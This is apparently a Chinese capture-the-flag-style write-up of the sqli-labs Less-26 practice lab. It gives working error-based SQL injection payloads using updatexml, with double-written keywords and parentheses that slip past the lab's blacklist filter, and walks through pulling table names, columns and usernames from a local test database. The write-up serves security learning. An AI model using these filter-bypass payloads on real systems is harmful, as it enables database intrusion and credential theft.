sqli-labs:Less-26关卡详细解析

1. 思路🚀

本关的SQL语句为:

sql 复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:id

php输出语句的部分代码:

php 复制代码
if($row)
{
  	echo "<font size='5' color= '#99FF00'>";	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
 }
else 
{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
}

本关卡对许多字符都进行过滤,尤其是空格。我们需要对字符进行替换,同时采用报错盲注(空格相对少),替换规则如下。

  • oroorr
  • andaandnd
  • 空格()包裹
php 复制代码
function blacklist($id)
{
   $id= preg_replace('/or/i',"", $id);		 //strip out OR (non case sensitive)
   $id= preg_replace('/and/i',"", $id); 	 //Strip out AND (non case sensitive)
   $id= preg_replace('/[\/\*]/',"", $id);	 //strip out /*
   $id= preg_replace('/[--]/',"", $id);		 //Strip out --
   $id= preg_replace('/[#]/',"", $id);		 //Strip out #
   $id= preg_replace('/[\s]/',"", $id);		 //Strip out spaces
   $id= preg_replace('/[\/\\\\]/',"", $id);	 //Strip out slashes
   return $id;
}

2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-26/,从?id=开始,只需要将下面的sql语句粘贴即可。我把正常的注入语句和变体的注入语句一并放在下面,方便对比。

2.1. 获取基本信息⚡

注意and,需要修改为aandnd

url 复制代码
1' and updatexml(1,concat(1,database()),3) and '1
url 复制代码
1'aandnd(updatexml(1,concat(1,database()),3))aandnd'1

2.2. 获取表名⚡

注意and,需要修改为aandnd,注意information_schema中的or,需要修改为infoorrmation_schema

url 复制代码
1' and updatexml(1,concat(1,select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3) and' 1
url 复制代码
1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)= 'security')),3))aandnd'1

2.3. 获取字段⚡

注意and,需要修改为aandnd,注意information_schema中的or,需要修改为infoorrmation_schema

url 复制代码
1' and updatexml(1,concat(1,select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name='users'),3) and '1
url 复制代码
1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)= 'security'aandnd(table_name)='users')),3))aandnd'1

2.4. 获取数据⚡

注意and,需要修改为aandnd,由于updatexml有字符长度限制,所以对username进行了分批

同理获取possword,注意password中的or,需要修改为passwoord

url 复制代码
1' and updatexml(1,concat(1,select substring(group_concat(username),1,30) from users),3) and' 1
url 复制代码
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),1,30))from(users))),3))aandnd'1
url 复制代码
# 下一批
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),31,30))from(users))),3))aandnd'1

2.5. 参数汇总表⭐

参数 作用 示例
' 闭合符号 id=1'
updatexml() 报错注入函数 updatexml(1,(select database()),3)
concat() 字符串拼接函数 concat('a','b')concat(1,(select database()))
group_concat() 合并结果 group_concat(table_name)
information_schema 系统数据库 from information_schema.tables
table_schema 数据库名称 table_schema='security'
table_name 数据表名称 table_name='users'
column_name 字段名称 group_concat(column_name)

3. 总结🏁

本关卡代码对许多字符进行过滤来防止SQL注入,但攻击者仍可通过双写(如oorraandnd)、逻辑运算符替代或URL编码的方式等方式轻松绕过。

相似关卡1,见"sqli-labs:Less-25关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149886766?spm=1011.2415.3001.5331

相似关卡2,见"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
看天走路吃雪糕2 小时前
sqli-labs:Less-23关卡详细解析
sql注入·sqli-labs·报错盲注·less-23·注释符
看天走路吃雪糕14 小时前
sqli-labs:Less-21关卡详细解析
sql注入·cookie·sqli-labs·报错盲注·less-21
看天走路吃雪糕1 天前
sqli-labs:Less-20关卡详细解析
sql注入·cookie·sqli-labs·报错盲注·less-20
Savvy..3 天前
Day07 JDBC+MyBatis
mybatis·jdbc·数据库连接池·sql注入·yml
Linux运维技术栈3 天前
多云场景实战:华为手机 QR 码绑定与 AWS云服务器终端登录全解
aws·微软云·or
看天走路吃雪糕3 天前
sqli-labs:Less-15关卡详细解析
sql注入·布尔盲注·sqli-labs·less-15
看天走路吃雪糕3 天前
sqli-labs:Less-5关卡详细解析
sql注入·sqli-labs·less-5·报错盲注
看天走路吃雪糕3 天前
sqli-labs:Less-12关卡详细解析
sql注入·sqli-labs·less-12
看天走路吃雪糕3 天前
sqli-labs:Less-16关卡详细解析
sql注入·时间盲注·sqli-labs·less-16